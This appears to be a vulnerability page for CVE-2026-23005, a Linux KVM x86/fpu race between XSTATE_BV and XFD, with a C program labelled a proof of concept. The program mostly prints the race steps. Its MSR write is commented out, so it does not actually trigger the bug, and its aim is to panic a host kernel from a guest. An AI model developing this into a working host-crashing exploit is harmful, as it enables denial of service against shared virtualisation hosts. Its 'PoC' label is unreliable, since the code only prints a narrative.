CVE-2026-23005 Linux内核x86/fpu XSTATE_BV与XFD同步漏洞

// PoC for CVE-2026-23005 - Linux Kernel XSTATE_BV/XFD Sync Issue // This PoC demonstrates the race condition in KVM guest XFD handling #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> // Guest-side PoC (run inside VM) void guest_poc() { printf("[*] CVE-2026-23005 PoC - Guest Trigger\n"); printf("[*] Setting XFD[18] = 1 to disable AMX\n"); // Write to MSR_IA32_XFD to disable AMX feature // XFD MSR index: 0x000001d4 unsigned long xfd_msr = 0x000001d4; unsigned long xfd_value = (1UL << 18); // Disable AMX-TILE // This WRMSR will trigger the vulnerability if: // 1. Host IRQ occurs before fpu_update_guest_xfd() // 2. kernel_fpu_begin() is called during IRQ handling printf("[*] Executing WRMSR to set XFD[18]=1\n"); // Simulate the MSR write // __asm__ volatile("wrmsr" :: "c"(xfd_msr), "a"(xfd_value & 0xFFFFFFFF), "d"(xfd_value >> 32)); printf("[!] If host kernel has the bug, this may trigger #NM and panic\n"); } // Host-side simulation void host_simulation() { printf("\n[*] Host-side Race Condition Simulation:\n"); printf("[*] 1. Guest executes WRMSR(MSR_IA32_XFD) with XFD[18]=1\n"); printf("[*] 2. VM-Exit triggered\n"); printf("[*] 3. Host IRQ arrives before fpu_update_guest_xfd()\n"); printf("[*] 4. IRQ handler calls kernel_fpu_begin()\n"); printf("[*] 5. save_fpregs_to_fpstate() saves FPU with guest XFD\n"); printf("[*] 6. XSTATE_BV[18]=1 but XFD[18]=1 (inconsistent)\n"); printf("[*] 7. Later XRSTOR triggers #NM exception\n"); printf("[*] 8. Kernel panic!\n"); } int main() { printf("========================================\n"); printf("CVE-2026-23005 PoC - Linux Kernel x86/fpu\n"); printf("XSTATE_BV/XFD Synchronization Issue\n"); printf("========================================\n\n"); guest_poc(); host_simulation(); printf("\n[*] PoC completed. Check for kernel panic in host dmesg.\n"); return 0; }